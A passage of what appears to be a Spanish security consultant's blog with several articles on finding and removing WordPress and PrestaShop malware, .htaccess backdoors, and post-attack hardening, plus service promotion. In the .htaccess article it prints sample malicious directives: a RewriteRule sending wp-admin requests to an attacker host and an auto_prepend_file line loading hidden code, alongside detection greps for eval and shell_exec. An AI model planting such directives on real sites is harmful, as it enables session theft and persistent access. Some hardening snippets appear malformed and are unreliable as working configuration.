    • Pruebas de penetración básicas.
    • Reporte con recomendaciones de hardening.

    Esto cuesta un porcentaje pequeño comparado con la limpieza forense de un sitio comprometido, que puede tomar 20-40 horas.

    Conclusión: Plugin y profesional, no plugin O profesional

    La respuesta a «¿necesito Wordfence o un profesional?» es: ambos. Wordfence es tu defensa diaria. Un profesional es tu respuesta ante incidentes y tu auditoría preventiva.

    En mi experiencia, el mejor enfoque es:

    1. Mantén Wordfence actualizado y bien configurado para evitar ataques básicos.
    2. Realiza auditorías profesionales anuales para identificar vulnerabilidades que los plugins no ven.
    3. En caso de compromiso verificado, contacta con un forense inmediatamente, no intentes solucionarlo solo con plugins.

    Wordfence es excelente dentro de su rango. Pero si quieres dormir tranquilo sabiendo que tu sitio es realmente seguro, necesitas un experto que vaya más allá de las firmas de malware y las reglas WAF automáticas.

    Si sospecha que tu sitio está comprometido o quieres una auditoría profesional completa, contacta con mi equipo en ManuelFolgar.com. Analizamos tu caso sin obligación y te explicamos exactamente qué necesitas.

    Referencias y fuentes de autoridad:

    Para este análisis me he basado en directrices de seguridad reconocidas internacionalmente:

  • Backdoor en .htaccess: búsqueda y eliminación de código oculto en archivos raíz

    Backdoor en .htaccess: búsqueda y eliminación de código oculto en archivos raíz

    Qué es un backdoor en .htaccess y por qué es una amenaza crítica

    En mi experiencia analizando sitios WordPress y PrestaShop comprometidos, los backdoors alojados en el archivo .htaccess son de las amenazas más insidiosas que encuentro. A diferencia de un backdoor tradicional en PHP, este tipo de malware se camufla en un archivo de configuración del servidor Apache que muchos administradores ni siquiera revisan regularmente.

    El archivo .htaccess es un fichero de control de acceso que reside en la raíz de tu sitio web. Cuando un atacante lo compromete, puede inyectar directivas que redirigen tráfico, ejecutan código malicioso de forma silenciosa, o crean puntos de entrada alternativos al panel de administración. Lo más peligroso es que no aparece en tu interfaz WordPress, pasando desapercibido durante meses.

    Cómo funciona un backdoor en .htaccess: vectores técnicos

    Redirecciones silenciosas (RewriteRule)

    El atacante utiliza módulos como mod_rewrite para interceptar peticiones HTTP específicas. Por ejemplo:

    RewriteCond %{QUERY_STRING} ^.*wp-admin.*$
    RewriteRule ^(.*)$ http://sitio-atacante.com/datos.php?param=%{HTTP_HOST} [R,L]

    Esto captura intentos de acceso a wp-admin y los redirige a un servidor controlado por el atacante, robando cookies de sesión o datos de login.

    Inyección de código PHP oculto

    Algunos backdoors en .htaccess usan la directiva php_value (si está habilitada en el servidor) para ejecutar código PHP sin necesidad de archivos .php visibles:

    php_value auto_prepend_file /ruta/archivo-oculto.txt

    Aquí, un archivo de texto con código PHP se carga automáticamente en cada página, creando un acceso persistente sin dejar rastro obvio.

    Bloqueo de herramientas de seguridad

    Muchos backdoors en .htaccess bloquean el acceso a herramientas de análisis de seguridad. Cuando lo analizo con Wordfence CLI o Sucuri, me encuentro con:

    RewriteCond %{USER_AGENT} ^.*(bot|crawler|scanner).*$ [NC]
    RewriteRule ^.*$ - [F,L]

    Esto rechaza conexiones de scanners de seguridad, ocultando la infección.

    Síntomas de que tu sitio tiene un backdoor en .htaccess

    Señales en Google Search Console

    Lo primero que hago es revisar Google Search Console. Si ves:

    • Advertencias de malware o «Sitio aparentemente pirateado»
    • Tráfico referente sospechoso desde dominios desconocidos
    • URLs indexadas que tú no creaste (típicamente /admin-login, /wp-json-custom)

    Estos son indicadores fuertes de un backdoor activo.

    Redirecciones aleatorias a usuarios

    Si tus visitantes reportan redirecciones a casinos, farmacias o sitios de crypto sin motivo, es probable que el .htaccess esté modificado. Esto afecta gravemente al SEO y la confianza de usuarios.

    Consumo anómalo de recursos

    Un backdoor ejecutando código o enviando datos constantemente genera picos de CPU y tráfico de salida. Revisa los logs de tu hosting con top o htop en terminal.

    Búsqueda del backdoor: metodología paso a paso

    Paso 1: Acceso a los archivos raíz vía SFTP/SSH

    No uses el administrador de archivos de cPanel para esto; es demasiado lento. Conecta por SSH o SFTP (FileZilla, WinSCP) directamente a tu servidor. Navega a la raíz del dominio (habitualmente /public_html/ o /home/usuario/public_html/).

    Listar archivos ocultos con el comando:

    ls -la

    Esto mostrará todos los archivos, incluidos los que comienzan con punto (.) como .htaccess.

    Paso 2: Extrae y analiza el contenido del .htaccess

    Descarga el archivo .htaccess a tu máquina local. Abrelo con un editor de texto plano (Notepad++, VS Code, Sublime Text). No uses Word, corromperá el formato.

    Busca líneas sospechosas:

    • Dominio externa (example.com pero que no reconoces como propia)
    • Rutas a archivos .txt, .tmp o similares
    • Directivas php_value con rutas anómalas
    • RewriteCond o RewriteRule que redirigen a dominios desconocidos
    • Base64 o caracteres codificados (ofuscación)

    Un .htaccess legítimo suele tener 10-30 líneas simples. Uno con backdoor puede tener 100+ líneas con lógica compleja.

    Paso 3: Verifica modificaciones recientes

    En SSH, usa:

    stat .htaccess

    Esto muestra cuándo se modificó por última vez. Si la fecha es anterior a cuando sabes que fue pirateado, confirma la infección.

    También revisa los permisos:

    ls -l .htaccess

    Debería mostrar algo como -rw-r--r--. Si ves -rw-rw-rw- (permisos 666), significa que cualquier proceso puede escribirlo.

    Paso 4: Búsqueda con grep (terminal)

    Si tienes acceso SSH, usa grep para detectar patrones maliciosos:

    grep -E "RewriteCond|RewriteRule|php_value|auto_prepend" .htaccess

    Examina cada coincidencia. Las redirecciones legítimas apuntan a tu propio sitio; las maliciosas, a dominios externos.

    Eliminación segura del backdoor

    Opción 1: Restaurar desde backup limpio

    Si tienes un backup de .htaccess anterior a la infección, restauralo. Muchos hostings guardan backups automáticos. Contacta con tu proveedor.

    Opción 2: Reconstruir .htaccess desde cero

    La opción más segura es eliminar el archivo completo y reconstruirlo según tus necesidades reales.

    Haz una copia de seguridad del actual (renómbralo a .htaccess.backup.txt).

    Luego, crea un .htaccess limpio básico para WordPress:

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.html$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress

    Este es el contenido estándar que WordPress genera automáticamente. Si necesitas reglas personalizadas (SSL, caché, seguridad), añádelas línea a línea y prueba después de cada cambio.

    Paso 3: Verifica la limpieza en navegador

    Accede a tu sitio desde múltiples navegadores. Si aparecen redirecciones, el backdoor sigue activo o hay código malicioso en otros archivos.

    Búsqueda de backdoors en archivos relacionados

    El .htaccess es solo la puerta; el atacante probablemente dejó otras pistas.

    Analiza wp-config.php

    Busca líneas sospechosas al final del archivo:

    grep -n "eval|base64_decode|system|exec|shell_exec" wp-config.php

    Cualquier coincidencia indica inyección de código.

    Revisa la carpeta /wp-content/uploads/

    Los atacantes suben webshells aquí. Ordena por fecha de modificación:

    find wp-content/uploads/ -type f -mtime -30

    Esto lista archivos modificados en los últimos 30 días. Los .php, .phtml o .phar aquí son sospechosos.

    Inspecciona plugins y temas activos

    Un plugin nulled o desactualizado es el vector número uno en WordPress. Usa WP-CLI:

    wp plugin list --status=active

    Verifica cada uno en plugins.wordpress.org. Si una versión no coincide o el plugin no existe, es malware.

    Protección post-limpieza: hardening del .htaccess

    Protege wp-login.php y wp-admin/

    Añade estas líneas al .htaccess para limitar intentos de acceso:

    <FilesMatch "^(wp-login.php|wp-admin)>">
    <IfModule mod_ratelimit.c>
    RateLimitBytes 102400
    </IfModule>
    </FilesMatch>

    Esto ralentiza ataques de fuerza bruta.

    Bloquea acceso a archivos sensibles

    <FilesMatch ".(wp-config|wp.db).php$">
    Order Deny,Allow
    Deny from all
    </FilesMatch>

    Deshabilita la ejecución de PHP en carpetas de upload

    <Directory "wp-content/uploads">
    <FilesMatch ".php$">
    Deny from all
    </FilesMatch>
    </Directory>

    Corrige permisos de archivos

    En SSH:

    chmod 644 .htaccess
    chmod 600 wp-config.php
    chmod 755 wp-content/uploads/

    Esto evita que procesos de terceros modifiquen estos archivos.

    Herramientas especializadas para detección avanzada

    Si la búsqueda manual no encuentra nada pero sospechas malware oculto, uso estas herramientas:

    • Wordfence Security: Escanea el sitio completo buscando backdoors, incluye verificación de integridad de archivos WordPress.
    • Sucuri SiteCheck: Análisis online rápido de malware y blacklist.
    • VirusTotal: Sube el .htaccess para escanear con 70+ antivirus simultáneamente.
    • MalCare: Plugin WordPress con detección heurística de backdoors.

    Cuándo contactar con un profesional

    Si después de estas verificaciones:

    • Encuentras código ofuscado que no comprendes
    • El sitio sigue redireccionando después de limpiar .htaccess
    • Google sigue marcando el sitio como «aparentemente pirateado»
    • Los logs muestran actividad sospechosa que no consigues bloquear

    Es momento de actuar. En ManuelFolgar.com realizamos análisis profundos de malware WordPress y PrestaShop, incluyendo búsqueda de backdoors en múltiples capas: servidor, base de datos, y código fuente. Limpiamos la infección, reforzamos la seguridad y te ayudamos a recuperar la confianza de Google.

    Contacta con nuestro equipo de seguridad web para una auditoría completa de tu sitio. Sin compromiso.

    Resumen: checklist de acción inmediata

    1. Conecta por SSH/SFTP a la raíz de tu sitio.
    2. Descarga y abre .htaccess en editor de texto.
    3. Busca dominios externos, RewriteRule sospechosos, php_value anómalos.
    4. Revisa fecha de modificación y permisos del archivo.
    5. Si encuentras malware: elimina .htaccess y reconstruye desde cero con las líneas básicas de WordPress.
    6. Analiza wp-config.php, /wp-content/uploads/ y plugins con Wordfence.
    7. Modifica permisos de archivos a 644 (.htaccess) y 600 (wp-config.php).
    8. Usa Sucuri SiteCheck o VirusTotal como verificación independiente.
    9. Si persisten síntomas, solicita ayuda profesional.

    La seguridad de tu sitio web no es negociable. Un backdoor en .htaccess puede estar robando datos de tus clientes o difundiendo malware durante meses sin que lo notes. La detección temprana y la limpieza inmediata son clave para minimizar el daño.

  • Síntomas silenciosos: detecta malware WordPress antes de que cause daños irreversibles

    Síntomas silenciosos: detecta malware WordPress antes de que cause daños irreversibles

    Síntomas silenciosos: detecta malware WordPress antes de que cause daños irreversibles

    En mi experiencia analizando cientos de sitios WordPress comprometidos, he visto un patrón preocupante: la mayoría de propietarios no descubre el malware hasta que es demasiado tarde. Google ya ha desindexado el sitio, los clientes reportan mensajes de aviso de malware, o peor aún, han sufrido robo de datos de tarjetas de crédito. El problema es que el malware WordPress casi nunca anuncia su presencia. No llega un pop-up diciendo «¡Has sido hackeado!» Los síntomas son silenciosos, sutiles, fáciles de pasar por alto si no sabes qué buscar.

    Lo que te voy a mostrar son las señales de alerta que yo siempre reviso primero en una auditoría de seguridad. Si identificas aunque sea una de ellas, es hora de actuar.

    ¿Por qué el malware WordPress es tan silencioso?

    Los atacantes modernos no quieren que lo sepas. Un malware ruidoso, que ralentiza el servidor o muestra anuncios, te alertaría inmediatamente. Los ciberdelincuentes sofisticados instalan código que:

    • Se ejecuta en segundo plano sin afectar la experiencia visible del sitio
    • Se camufla dentro de archivos legítimos de WordPress
    • Se comunica con servidores remotos de forma encriptada
    • Deja rastros mínimos en los logs (o los borra directamente)

    Por eso el malware puede vivir en tu servidor durante semanas o meses sin que nadie se entere. Esto es especialmente grave en tiendas online PrestaShop, donde un skimmer Magecart puede robar datos de tarjetas silenciosamente mientras tus clientes hacen compras.

    Síntoma 1: Tráfico anómalo o redirecciones invisibles

    Cuando analizo un sitio, lo primero que miro en Google Search Console es si hay redirecciones inesperadas o tráfico que no reconoces. Un malware común inyecta código que:

    • Redirige a robots de búsqueda a un dominio malicioso (pero a usuarios legales los deja navegar normal)
    • Inyecta enlaces ocultos en el HTML que solo ven los crawlers
    • Envía tráfico a sitios de phishing o spam cuando detecta navegadores específicos

    Cómo detectarlo: Revisa Google Search Console y busca «Cobertura» y «Tráfico de búsqueda». ¿Hay URLs que no reconoces? ¿Tráfico desde países donde no tienes clientes? Eso es una bandera roja. También usa VirusTotal para analizar tu dominio: si aparece como «malicioso» en 3 o más motores antivirus, tienes un problema.

    En mis auditorías, he encontrado casos donde la página de inicio se veía perfecta, pero Google la clasificaba como «Sitio comprometido» porque el malware inyectaba contenido spam en segundo plano.

    Síntoma 2: Cambios inexplicables en archivos de WordPress

    WordPress es previsible: los archivos principales rara vez cambian a menos que actualices. Si tu archivo wp-config.php, .htaccess, o el index.php de la raíz tienen fechas de modificación recientes que no coinciden con tus actualizaciones, alguien ha estado dentro.

    Cómo detectarlo: Usa WP-CLI para verificar integridad. Desde terminal:

    1. Ejecuta: wp core verify-checksums
    2. WordPress compara tus archivos con los hashes oficiales
    3. Cualquier archivo modificado te lo dirá inmediatamente

    También revisa los permisos: ls -la wp-config.php debe mostrar -rw-r--r-- (644). Si ves permisos más abiertos como 777, tu servidor está vulnerable a modificaciones.

    He visto backdoors disfrazados de actualizaciones legales. El atacante modifica wp-load.php con dos líneas que parecen inocentes pero crean una puerta trasera. Ese archivo pasa desapercibido porque es legítimo, excepto que no es el original.

    Síntoma 3: Plugins inactivos o temas deshabilitados sin razón aparente

    Encontré algo interesante en mis auditorías: muchos sitios comprometidos tienen plugins de seguridad instalados pero desactivados. Algunos incluso tienen el login de administrador «protegido» por un plugin que está inactivo.

    ¿Coincidencia? No. El malware a veces desactiva tus defensas después de tomar control. Es como neutralizar la alarma de una casa antes de robar.

    Cómo detectarlo: Revisa tu carpeta /wp-content/plugins/ vía SFTP o terminal:

    • ¿Hay plugins que no reconoces?
    • ¿Plugins que están inactivos desde hace meses?
    • ¿Plugins instalados pero nunca activados?

    Un patrón que veo mucho: el atacante instala un plugin con nombre como «wp-security» o «backup-manager» que es en realidad un troyan. Parece legítimo, pero si lo activas, otorga acceso remoto al servidor.

    Síntoma 4: Base de datos más grande de lo que debería

    Tu base de datos WordPress crece cuando añades posts, comentarios, productos (en WooCommerce), etc. Pero si de repente ves que la BD ha crecido 50 MB en una semana sin que hayas hecho nada, algo huele mal.

    El malware a veces almacena datos robados directamente en la BD. Skimmers de tarjetas guardan información de clientes en una tabla oculta. Backdoors almacenan cachés de datos para exfiltración lenta.

    Cómo detectarlo: Conéctate a tu base de datos (vía phpMyAdmin o CLI):

    1. Ejecuta: SELECT table_name, ROUND(((data_length + index_length) / 1024 / 1024), 2) AS size_mb FROM information_schema.tables WHERE table_schema = 'tu_basedatos' ORDER BY size_mb DESC;
    2. Busca tablas que no reconoces
    3. Las tablas legales de WordPress empiezan con tu prefijo (por defecto wp_)
    4. Si ves wp_xyzabc_temp o backup_stolen_data, eso es malware

    También revisa los usuarios de BD. Algunos backdoors crean un usuario con nombre ofuscado como wp_usr_234 con permisos totales. Solo deberías tener uno o dos usuarios legales.

    Síntoma 5: Procesos del servidor sospechosos y uso anómalo de CPU

    Aunque esto requiere acceso root, si tienes VPS o servidor dedicado, puedes verlo. Los cryptominers (malware que usa tu servidor para minar criptomonedas) consumen CPU masivamente.

    Cómo detectarlo: En terminal:

    • top o htop para ver procesos activos
    • Busca procesos raros con nombres ofuscados: .hidden, system, update
    • ps aux | grep -v grep | grep -E "(curl|wget|perl|python)" muestra si hay descargas sospechosas activas
    • netstat -ano | grep ESTABLISHED lista todas las conexiones de red activas

    He encontrado backdoors que ejecutan scripts Python que se conectan a botnets. El servidor se vuelve lento para usuarios legales pero mantiene conexiones persistentes hacia servidores de mando y control.

    Si tu servidor está alojado, pide a tu host que revise los logs de sistema. Muchos no lo hacen a menos que lo solicites explícitamente.

    Síntoma 6: Modificación de archivo de salida (output_handler) o constantes en wp-config.php

    Este es técnico, pero importante. Algunos backdoors instalan funciones que interceptan todo lo que WordPress genera antes de enviarlo al navegador. Se inyectan mediante:

    • Modificar php.ini (si tienes acceso)
    • Agregar código en wp-config.php que carga un archivo remoto
    • Inyectar en el .htaccess con directivas como auto_prepend_file o auto_append_file

    Cómo detectarlo: Abre wp-config.php y busca:

    • Líneas que cargan include, require, o eval() después de las constantes legales
    • URLs extrañas en define() que no reconoces
    • Base64 decodificado que parece código PHP ofuscado

    Revisa también tu .htaccess. El malware a menudo agrega:

    php_value auto_prepend_file /var/www/html/wp-content/plugins/evil.php

    Eso cargará el malware en cada request, sin que ningún plugin lo vea.

    Síntoma 7: Logs de acceso y errores borrados o ausentes

    Los atacantes profesionales borran logs. Si tu servidor de repente no tiene registros de acceso en ciertos días, o los logs de errores PHP están vacíos cuando deberían tener contenido, alguien ha estado limpiando rastros.

    Cómo detectarlo: Accede vía FTP o SFTP a:

    • /var/log/apache2/access.log (Apache)
    • /var/log/nginx/access.log (Nginx)
    • /var/log/php-fpm.log (PHP-FPM)

    Busca brechas de tiempo donde no hay registros. También revisa en tu panel de control (cPanel, Plesk) si hay logs de errores de WordPress. Si están vacíos o solo muestran una semana cuando deberían mostrar meses, eso es sospechoso.

    Un malware sofisticado se conecta vía SSH, ejecuta comandos sin dejar rastro en los logs normales, y luego borra todo. Afortunadamente, algunos hosts guardan logs de sistemas más profundos que no son tan fáciles de eliminar.

    Síntoma 8: Contraseñas de usuario cambio sin consentimiento

    Si alguien reporta que no puede acceder al admin, o tú intentas entrar y tu contraseña no funciona, es probable que el malware haya creado o modificado usuarios. Los backdoors suelen crear una cuenta admin oculta para mantener acceso incluso si limpias los archivos.

    Cómo detectarlo: En la base de datos:

    1. Abre phpMyAdmin y ve a wp_users
    2. Busca usuarios que no reconoces
    3. Usuarios con email extraño (spam@attacker.com)
    4. Accounts creadas en fechas que no coinciden con tus acciones

    También revisa wp_usermeta para permisos. Un usuario «regular» podría tener el rol «administrator» modificado silenciosamente.

    ¿Qué hacer si sospechas que tienes malware?

    Si identificaste uno o más síntomas, aquí está mi protocolo:

    Paso 1: Confirma antes de entrar en pánico

    Ejecuta un escaneo gratuito con Sucuri SiteCheck o Wordfence Scan. Ambos son confiables y te dirán si hay malware conocido. No es 100% preciso (el malware personalizado es difícil de detectar), pero es un buen primer paso.

    Paso 2: No publiques nueva información

    Si tienes una tienda online, considera desactivarla temporalmente. Un skimmer activo sigue robando datos mientras analyzes. Es mejor perder un día de ventas que comprometer a tus clientes.

    Paso 3: Haz un backup de seguridad (limpio)

    Antes de limpiar nada, haz un backup de los archivos comprometidos para análisis posterior. Guarda la BD actual. Esto es vital si necesitas investigación forense o reportar a autoridades como la AEPD (en caso de robo de datos).

    Paso 4: Limpia o reinstala

    Tienes dos opciones: limpiar manualmente (requiere experiencia) o reinstalar WordPress desde cero. Reinstalar es más seguro porque garantiza que todo malware se va, pero pierdes personalizaciones si no estaban en un tema hijo.

    Si limpias manualmente:

    • Borra todos los plugins y temas excepto los que usas
    • Reemplaza los archivos core de WordPress (mantén tu carpeta wp-content)
    • Cambia todas las contraseñas: DB, FTP, admin de WordPress
    • Actualiza todos los plugins a la última versión
    • Revisa cada backup de archivo reciente para asegurar que está limpio

    Paso 5: Hardening del servidor

    Después de limpiar, refuerza. Esto es crítico:

    • Cambia el prefijo de tablas: Por defecto es wp_. Muchos ataques lo asumen. Cámbialo a algo como mf_.
    • Protege wp-admin: Restringe acceso solo desde tu IP usando .htaccess o firewall.
    • Deshabilita edición de archivos: Agrega en wp-config.php: define('DISALLOW_FILE_EDIT', true);
    • Limita intentos de login: Usa Wordfence o similar para 2FA y rate limiting.
    • Revisa permisos de carpetas: wp-content debe ser 755, wp-config.php debe ser 644.

    Prevención: cómo evitar que vuelva a suceder

    Una vez limpies, la prevención es más fácil que la limpieza:

    • Mantén WordPress actualizado: Cron automático es tu amigo. La mayoría de las brechas explotan vulnerabilidades conocidas hace años.
    • Audita plugins: Desinstala cualquier plugin que no uses. Los plugins desactualizados son el #1 vector de ataque.
    • Monitoreo continuo: Herramientas como Sucuri Site Monitoring te alertan si detectan cambios o malware nuevo.
    • Backups automáticos: Al menos diarios. Si todo falla, recuperas tu sitio limpio.
    • WAF (Web Application Firewall): Cloudflare, Sucuri, o Wordfence ofrecen WAF que bloquean ataques comunes antes de que lleguen a tu servidor.

    En mi experiencia, la detección temprana es todo

    He visto propietarios que detectaron malware en 48 horas (porque revisaban logs regularmente) y lo eliminaron antes de que causar daño. También he visto casos donde el malware vivió 6 meses silenciosamente, robando datos de clientes y destruyendo el SEO del sitio.

    La diferencia: vigilancia. Si implementas aunque sea uno de los puntos que mencioné (revisar Search Console, hacer escaneos mensuales, actualizar religiosamente), tu riesgo baja enormemente.

    Si necesitas ayuda profesional para limpiar, analizar logs, o hardening completo de tu WordPress o PrestaShop, contáctame en ManuelFolgar.com. Realizo análisis profundos con herramientas de nivel enterprise, limpieza garantizada, y plan de hardening personalizado. Tu seguridad es mi prioridad.

  • El error más caro: qué hacen mal los propietarios antes de contratar profesionales

    El error más caro: qué hacen mal los propietarios antes de contratar profesionales

    El error más caro: qué hacen mal los propietarios antes de contratar profesionales

    En mi experiencia auditando más de 500 sitios comprometidos, he visto un patrón que se repite constantemente: cuando llamas a un profesional de ciberseguridad web, ya es demasiado tarde. No porque no podamos resolver el problema —lo hacemos—, sino porque el coste económico y reputacional habría sido infinitamente menor si hubieras actuado antes. Hoy quiero mostrarte qué errores cometen la mayoría de propietarios de WordPress y PrestaShop que después se arrepienten.

    1. Ignorar las actualizaciones: el lujo que no puedes permitirte

    Este es probablemente el error número uno. Cuando reviso un sitio infectado, la primera pregunta que hago es: «¿cuándo fue la última actualización de WordPress, plugins y temas?» La respuesta más frecuente: «No sé, lleva meses sin tocar».

    Las vulnerabilidades conocidas en plugins desactualizados son la puerta de entrada preferida de los atacantes. Toma el caso de Elementor, WooCommerce o Yoast SEO: cada parche de seguridad cierra un agujero que los malwares ya están explotando en miles de sitios que no actualizan. En PrestaShop ocurre lo mismo con módulos de pago o gestión de inventario.

    Lo que recomiendo siempre es establecer un cronograma automático de actualizaciones en desarrollo o testing primero, y luego en producción. No es complicado: una hora mensual puede ahorrarte 3.000 euros en limpieza de malware.

    Costo real: Una inyección SQL en un plugin desactualizado de WooCommerce puede robar datos de clientes. Notificación a afectados + auditoría forense + pérdida de reputación = mínimo 5.000 euros.

    2. Contraseñas débiles en el back-office

    Todavía encuentro sitios con credenciales como «admin123» o «wordpress2024». Cuando realizo un ataque de fuerza bruta contra wp-login.php sin protección, accedo en cuestión de minutos.

    El error no es solo la contraseña débil. Es que los propietarios:

    • No restablecen contraseñas cuando despiden a un trabajador que tenía acceso.
    • Usan la misma contraseña en múltiples sitios.
    • No activan autenticación de dos factores (2FA).
    • No limitan intentos de login fallidos.

    Un atacante que accede al back-office puede instalar un backdoor en 30 segundos. Desde entonces, aunque cambies la contraseña, ellos siguen dentro.

    Acción preventiva: Usa un gestor de contraseñas, implementa 2FA con plugins como Wordfence, y configura límites de intentos de login fallidos en tu archivo .htaccess o a través de tu WAF.

    3. No tener copias de seguridad o tenerlas sin verificar

    Cuando descubrimos que tu sitio está comprometido, la única forma de volver a estado limpio sin dudas es restaurar desde una copia de seguridad previa a la infección. Pero muchos propietarios:

    • No hacen copias de seguridad en absoluto.
    • Las hacen, pero nunca las prueban restaurándolas.
    • Las almacenan en el mismo servidor (si se hackea, se pierden todas).
    • No tienen automatización, por lo que «olvidan» hacer backups durante meses.

    Una copia de seguridad corrupta o infectada es peor que no tener ninguna, porque te hace creer que estás protegido cuando no lo estás.

    Mi recomendación: Automatiza backups diarios con plugins como UpdraftPlus o Backwpup, almacénalos en AWS S3 o Google Drive (fuera del servidor), y prueba una restauración al menos trimestralmente.

    4. Desconocer qué plugins y temas tienes instalados

    Cuando analizo un sitio, genero un inventario completo de todo lo que corre. Frecuentemente encuentro:

    • Plugins nulled (pirateados) descargados de fuentes dudosas.
    • Temas premium «crackeados» que vienen con backdoors.
    • Plugins desactualizados de hace 3 años que no se usan.
    • Complementos que nunca fueron instalados conscientemente (¿cómo llegaron ahí?).

    Cada plugin es una línea de código potencialmente vulnerable. Cada tema es una oportunidad de ataque. Si no sabes qué tienes, no puedes protegerte.

    Acción preventiva: Ejecuta en terminal WP-CLI con wp plugin list y wp theme list para saber exactamente qué tienes. Elimina todo lo que no uses. Compra solo desde fuentes oficiales: WordPress.org, distribuidores autorizados.

    5. No proteger el archivo wp-config.php

    Este archivo contiene las credenciales de acceso a tu base de datos. Si un atacante lo obtiene, tiene acceso completo a toda tu información. Sin embargo, muchos servidores lo sirven sin protección.

    No cuesta casi nada protegerlo mediante .htaccess:

    • Denegar acceso directo a wp-config.php.
    • Desactivar edición de archivos desde el back-office (constante DISALLOW_FILE_EDIT).
    • Cambiar los permisos de archivo a 600.

    Si tu proveedor de hosting no te permite esto, es hora de cambiar de proveedor.

    6. Ignorar alertas de Google Search Console

    Google te avisa cuando detecta malware o contenido inyectado en tu sitio. He visto propietarios con 50+ alertas sin abrir. Eso es equivalente a ignorar una alarma de incendio porque no quieres mirar.

    Las advertencias de seguridad en los resultados de búsqueda también te cuestan visibilidad y confianza de clientes. Una detección de malware puede reducir tráfico orgánico hasta un 90%.

    Acción: Revisa Search Console semanalmente. Si hay alertas, invéstigalas inmediatamente o contacta a un profesional.

    7. No implementar un WAF (Web Application Firewall)

    Un WAF es como un guardaespaldas para tu sitio web. Detecta patrones de ataque (inyección SQL, XSS, brute force) y los bloquea antes de llegar a tu servidor.

    Soluciones económicas como Wordfence, Sucuri o Cloudflare ofrecen WAF con planes asequibles. Si no tienes nada, estás navegando sin casco de seguridad.

    8. Delegar seguridad a desarrolladores sin experiencia en ciberseguridad

    Desarrollar una tienda online no es lo mismo que asegurarla. Un buen developer crea funcionalidades. Un profesional de seguridad piensa como un atacante: «¿por dónde entraría?»

    Muchos propietarios creen que porque tienen un developer interno, ya están cubiertos. Luego descubren una vulnerabilidad de inyección SQL que habría sido detectada en una auditoría profesional.

    9. No tener política de acceso para usuarios

    ¿Cuántas personas tienen credenciales de admin en tu WordPress? ¿Las restableciste cuando alguien se fue? ¿Tienes registros de quién accedió cuándo?

    En PrestaShop ocurre lo mismo: empleados con acceso al back-office que ya no trabajan contigo. Un acceso comprometido o malintencionado puede ser indistinguible de un ataque externo.

    Mejor práctica: Crea roles y permisos específicos. Admin solo para ti. Editors para contenidos. WooCommerce Manager para responsables de tienda. Usa auditoría de logs para rastrear cambios.

    10. Esperar a que «algo ocurra» antes de actuar

    Este es el peor error. Esperar a tener un problema para contratar a un profesional es como esperar a tener un infarto para ir al cardiólogo.

    La seguridad proactiva es exponencialmente más barata que la reactiva. Una auditoría anual (200-500 euros) previene un ataque de 5.000+ euros. Un escaneo trimestral detecta malware temprano. Un hardening inicial ahorra migraciones de emergencia.

    Los sitios web no «se protegen solos». Requieren vigilancia constante, actualizaciones regulares y una mentalidad defensiva.

    ¿Cuál es el costo real de esperar?

    Cuando un sitio está comprometido, los gastos incluyen:

    • Análisis forense: 400-800 euros (saber cómo entraron).
    • Limpieza completa: 600-2.000 euros (eliminar cada rastro de malware).
    • Restauración de datos: 300-1.500 euros si hay corrupción.
    • Auditoría post-limpieza: 300-500 euros (asegurar que está limpio).
    • Hardening: 500-1.500 euros (prevenir futuros ataques).
    • Pérdida de reputación y ventas: Incalculable.
    • Notificación a usuarios afectados: Obligatorio por RGPD, costoso en tiempo.

    Total realista: 2.500-6.000 euros en una emergencia. Compare con 300-500 euros anuales en mantenimiento preventivo.

    El primer paso: haz una auditoría ahora

    No esperes a tener un problema. En ManuelFolgar.com realizo auditorías de seguridad completas que incluyen:

    • Escaneo de malware y vulnerabilidades conocidas.
    • Análisis de configuración y permisos.
    • Inventario de plugins, temas y dependencias.
    • Recomendaciones de hardening personalizadas.
    • Plan de acción con prioridades.

    El primer paso no cuesta tanto como el último. Contáctame para una auditoría sin compromiso. Te mostraré exactamente dónde están tus brechas de seguridad antes de que alguien más las encuentre.

    Referencias y recursos

    Para profundizar en ciberseguridad web, consulta estas fuentes de autoridad:

    La ciberseguridad web no es un gasto. Es una inversión en continuidad de negocio. Actúa ahora, antes de que sea demasiado tarde.

  • Blindaje post-ataque: medidas de hardening que realmente funcionan en 48 horas

    Blindaje post-ataque: medidas de hardening que realmente funcionan en 48 horas

    Blindaje post-ataque: medidas de hardening que realmente funcionan en 48 horas

    Cuando descubres que tu sitio web ha sido comprometido, el pánico es justificado. Pero lo que haces en las primeras 48 horas marca la diferencia entre una recuperación rápida y semanas de lucha contra el malware. En mi experiencia analizando cientos de webs infectadas, los sitios que aplican un blindaje estructurado post-ataque logran eliminar vectores de riesgo críticos y evitar reinfecciones en menos de dos días.

    Te mostraré exactamente qué hacer, con qué herramientas y en qué orden, para levantar defensas reales mientras limpias los restos del compromiso.

    Hora 0-2: Aislamiento y diagnóstico de urgencia

    Lo primero es contener el daño. No se trata de limpieza profunda todavía, sino de detener el sangrado mientras recopilamos inteligencia.

    Desconecta la base de datos de bases de datos remotas. Muchos backdoors usan túneles SFTP o conexiones SSH comprometidas para exfiltrar datos de clientes. Si tu hosting permite, cierra el acceso SFTP/SSH durante 48 horas o cambia las credenciales por unas generadas aleatoriamente que solo tú conoces.

    Extrae el wp-config.php (WordPress) o config/settings.php (PrestaShop) a un directorio protegido. Usa WP-CLI para WordPress:

    wp config get DB_USER

    Anota todas las contraseñas activas. Luego las cambiaremos, pero primero necesitas saber cuáles están comprometidas. En PrestaShop, accede vía phpMyAdmin y ejecuta un volcado de las tablas de usuarios antes de modificar nada.

    Genera un reporte rápido con Wordfence CLI. Si tienes acceso SSH, descarga Wordfence CLI y ejecuta:

    wordfence scan --output=detailed

    Esto te da un mapa de archivos sospechosos en 5-10 minutos. Alternativa si no tienes SSH: usa Sucuri SiteCheck en modo online desde https://sitecheck.sucuri.net. No es tan profundo, pero identifica backdoors obvios y patrones de inyección.

    Documenta el incidente en tu log local. Crea un archivo timeline.txt con fecha, hora, qué detectaste y quién tiene acceso. Esto será tu defensa legal y técnica si necesitas reportarlo a AEPD o a tus usuarios.

    Hora 2-6: Cambio masivo de credenciales

    Aquí es donde la mayoría de sitios falla. Cambiar solo la contraseña de admin de WordPress NO es suficiente. Los atacantes suelen crear cuentas fantasma o modificar usuarios existentes a nivel de base de datos.

    WordPress:

